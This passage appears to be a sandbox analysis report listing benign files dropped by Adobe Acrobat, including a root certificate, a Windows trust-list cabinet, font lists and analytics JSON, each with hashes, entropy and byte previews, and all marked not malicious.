Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7647458239154146
Encrypted:	false
SSDEEP:	3:kkFkl5cTel/tfllXlE/HT8ks1NNX8RolJuRdxLlGB9lQRYwpDdt:kKZil/eT8HNMa8RdWBwRd
MD5:	4727CBEC5880F94053580F2432F712E3
SHA1:	87673BF5940CD7991FC68C44BBABEF7EB37B0F98
SHA-256:	6F140ED7098245D1A1FA7DD2F6C84E20BA16AE58EFF71159352269319FD8D242
SHA-512:	BE44927F07ED5EDCEE4A577EC6AC7F96426FB9CFADD96DED01E5C287FCB9113BEB068B0D46EF948C2FB81F426752A37DD6CE3094E2FA3011932213A3F349CBA7
Malicious:	false
Preview:	p...... .........9a_.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKayNl/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:CetiDImsLNkPlE99SNxAhUe/3
MD5:	3054474BB6F910260808F629B48CE727
SHA1:	24D22FF05758E00776717E1B87C27B5FBD81DE6E
SHA-256:	CEE501B8B0F552CB000E29E47D7BB29BB5AEF47AE31CA00B099909297490E153
SHA-512:	0D0E271394BA3A674E0A55659F446F4CDEAA770221A8DBE01899B3414E1A9630F9596C89D5F18E785625CA3E50829F344369AF7975955186628B32929798B481
Malicious:	false
Preview:	p...... ........AA._.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.964

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.964

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.371015443750838
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJM3g98kUwPeUkwRe9:YvXKXmKQhLV0ciGMbLUkee9
MD5:	62D3D4E67038C0A1E8EF351940002033
SHA1:	06188F3F9B650F94805F8D4BDB29BC7E9F61CFBF
SHA-256:	B87C9640A373AEC4EF7B1542AC8AD4A66B50D81A621BE563D5A94315BC450220
SHA-512:	57BC8A7AA3D82CD170C2026E7A76C7356885721B7AA644F0E3979EA73E3BBF29CF93C4815643C848CFF5CB0979FF46244A642F75A5C64E8AF5DF24FEFA07B76A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3227684136738915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfBoTfXpnrPeUkwRe9:YvXKXmKQhLV0ciGWTfXcUkee9
MD5:	BBBFA473183A694797964D4A5D1BD360
SHA1:	F9BE45F940A3D724A1EE9A9D465AE34A166D7067
SHA-256:	20415207D53C219A67E65D696DFDE29FE61D29D69867CCE58220814F4C483EC7
SHA-512:	18D60E5C3F3B88280A2BCB6C71B401091667BC46DCA13500E3934539A17E4B7283F998076DD3E619865A15E56BCF979DAD81A4B5C5730C1D616DB80298414FD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.301763449068967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfBD2G6UpnrPeUkwRe9:YvXKXmKQhLV0ciGR22cUkee9
MD5:	9FEB805B61456C0A7E86D265C8A421C5
SHA1:	5B93616B31329CCAA4AA697DBB29D66F1F3C4A59
SHA-256:	F6B9FA6671D8D103A8057C7DF319AC0EE30588488BE1C21C62D369057C0A9F5C
SHA-512:	14C6787F0F685264BA73F0A5A99003FC5A9C5CAEADBEEF9406B6FCD492FA65816AE62BB84933C45B9431D18FEAD02ED6CD899F8C19A9E6789BBEDA9605C52513
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.35130651265806
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfPmwrPeUkwRe9:YvXKXmKQhLV0ciGH56Ukee9
MD5:	2E07C5E67C47491BA46CAB7D06C25C77
SHA1:	FF1B2F11B5F6B52B1D6962846A8CE14621A157F7
SHA-256:	6D78092B516DB15E610725C7121C58A9DFDC60D17AC2B2105ADF0F4547EC8C03
SHA-512:	6933159752522EF0AE5B9182C64D05154FF1C59516991B8352B5B363F063559613A8487F83C146F6C2F5384BD276E7688820841180225DA361D3A3D04C5EA8F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687010855001248
Encrypted:	false
SSDEEP:	24:Yv6XJmZfpLgE9cQx8LennAvzBvkn0RCmK8czOCCSe:Yv9hgy6SAFv5Ah8cv/e
MD5:	4B021A0790475571191E5880CCA405AB
SHA1:	CB3EFEB76971677FBF4BA4AAB9F98B2A44B2856B
SHA-256:	8234F52B692A72181E159297B3DD8710729D81316AE483536B95410C9B4C4C0F
SHA-512:	AAD62FF21A89C9C5B8C3368A7FAF73441D9013A44659A0C60943E99F8D4DCDEBD209C8013230A6400FB5D81386D1FCFE82789C8C37CDFCE53851A7E9582BB0A2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301339365656123
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJf8dPeUkwRe9:YvXKXmKQhLV0ciGU8Ukee9
MD5:	D8743738834EE1C1F53D821FD78BB047
SHA1:	68816F49409ACB84A7BC86E5F732B190710B89E5
SHA-256:	D99DA83948AED1284265601061AE6BA65133AC67FA67339E555D82ED902F93AB
SHA-512:	DF59B8B72A163F31CA18EA327DC7382DD06DA6E7F17A957907B49D41611C30DB20BFBB8663FF45EB77209BE743A02C3C6B65B837122E36889C386A3C5539324A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303668859811443
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfQ1rPeUkwRe9:YvXKXmKQhLV0ciGY16Ukee9
MD5:	20C70142A53067D24BC1F69A9AEC4125
SHA1:	3C42B564983D187E061E2BB5F22677ABF12AEA56
SHA-256:	AE6425F40096DE578CC7295C4AED7E86029E29C3FC0AA4F521F5B73EDB33DC53
SHA-512:	181D87E257F9570E9E4F65839951A315B973344647C6463D2A201A75A078C130CCF0EBA504E96EF8C26EBAB77B2A3B4A6FC35EAF4733CD6E4A7ACB78E8703E5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3113238665649245
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfFldPeUkwRe9:YvXKXmKQhLV0ciGz8Ukee9
MD5:	5DECF6E2D50762FF725CF458D06ABEC2
SHA1:	C7E00F92294A66A9256AF9933DAAC40D51D7AD3E
SHA-256:	00A09C4B9B48917F86AB2DDE70A78A194B1D881D87C58415D4AB7092BBE7FF05
SHA-512:	6782FB0CB3039635CFA5BF5E0505044CD66392F31D445F3DEC7978E67632897D2B66AE7A52433490CC650E524C3E777C9B8915712996FB74F7CACAA54FE5A8FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327786665778257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfzdPeUkwRe9:YvXKXmKQhLV0ciGb8Ukee9
MD5:	8BDF6E1D46D7FD36F3A3C68EDABA61D8
SHA1:	34E2766451C485C92642525DF5FE46BEE286D64B
SHA-256:	D0CF594E4383757E1067DA5B75DA984E82CA72891026684BED02EBC8749C4434
SHA-512:	E333D8B0D2C41242B329A788E4D1A811FA569D76B0D28C9370D2594AB55AB771EEDBB75838D80CEC661EB5DD6F3C158E6C4C46C7D15B8098426B44A37C7D88C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308311463381384
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJfYdPeUkwRe9:YvXKXmKQhLV0ciGg8Ukee9
MD5:	2137D05E2702EA5590AFA8A8BACEC3DC
SHA1:	F2E72566D0D410BA1CE6C01678E25F94BA28D9F4
SHA-256:	C40308A8C22AF64E4A498E0453CB2B82FE5408E8392F3C4F37478A1FA8E5301D
SHA-512:	8689206D5DAF4F666C07CA062EA52B77B70B67CF53CF2DAEDE932E28F961773E439320CB3753A66F9A6FA1A1E57F3C4A5B59D86E9032886F6D6A42A7F871B45B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fe3b1194-84fd-43e9-ab37-dc225218f946","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736705431136,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294807155712556
Encrypted:	false
SSDEEP:	6:YEQXJ2HXmA+USa2AQXRLYO0nZiQ0YTeoAvJf+dPeUkwRe9:YvXKXmKQhLV0ciG28Ukee9
MD5:	96C7775D46EAF2DC88970A2BB9D38BC1
SHA1:	EF79AB14BED90B74A28D24FB937D814A5C886253
SHA-256:	69A6AEB8D0466AD011F500BB914816B6ED79FF186E8BB1E87AE44F55531C9DBF
SHA-512:	9C3F8957DB7AABC6B8BC119472CF1D02E69A9E753F8012B16802E18AC9314D4340AF07989A5CBCFCB1F2D6957537CE1663A863DA0C5ECA8D5AC776CA3197E6CA
Malicious:	false
